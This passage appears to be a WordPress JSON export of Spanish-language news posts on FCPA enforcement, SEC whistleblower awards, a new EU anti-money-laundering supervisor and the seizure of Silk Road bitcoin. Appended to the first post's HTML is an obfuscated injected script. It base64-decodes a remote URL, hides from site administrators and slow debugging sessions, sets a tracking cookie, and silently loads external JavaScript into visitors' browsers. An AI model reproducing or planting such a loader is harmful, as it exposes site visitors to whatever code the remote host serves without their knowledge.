presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, 